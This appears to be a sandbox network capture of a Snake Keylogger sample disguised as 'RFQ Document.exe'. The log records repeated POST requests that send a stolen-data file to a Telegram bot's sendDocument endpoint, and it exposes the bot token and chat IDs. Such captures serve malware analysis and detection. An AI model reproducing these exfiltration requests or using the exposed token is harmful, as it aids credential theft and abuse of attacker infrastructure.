2021-09-28 05:58:38 UTC	128	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 63 39 61 33 39 38 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cc9a3987Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:38 UTC	128	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:38 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:38 UTC	129	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 36 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12663,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808718,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.4	49857	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:38 UTC	129	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ccb9372e Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:38 UTC	129	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 63 62 39 33 37 32 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ccb9372eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:39 UTC	130	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:39 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:39 UTC	130	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 36 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12664,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808718,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.4	49858	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:39 UTC	131	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ccd10e90 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:39 UTC	131	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 63 64 31 30 65 39 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ccd10e90Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:39 UTC	131	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:39 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:39 UTC	132	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 36 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12665,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808719,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.4	49859	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:39 UTC	132	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cce684f4 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:39 UTC	133	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 63 65 36 38 34 66 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cce684f4Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:39 UTC	133	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:39 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:39 UTC	133	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 36 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12666,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808719,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.4	49860	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:39 UTC	134	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cd0582ce Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:39 UTC	134	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 64 30 35 38 32 63 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cd0582ceContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:39 UTC	135	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:39 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:39 UTC	135	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 36 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12667,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808719,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.4	49861	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:39 UTC	136	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cd1d59a0 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:39 UTC	136	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 64 31 64 35 39 61 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cd1d59a0Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:39 UTC	136	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:39 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:39 UTC	137	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 36 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12668,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808719,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.4	49862	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:39 UTC	137	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cd39f68c Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:39 UTC	137	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 64 33 39 66 36 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cd39f68cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:39 UTC	138	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:39 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:39 UTC	138	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 36 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12669,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808719,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.4	49863	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:39 UTC	139	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cd51cd5e Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:39 UTC	139	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 64 35 31 63 64 35 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cd51cd5eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
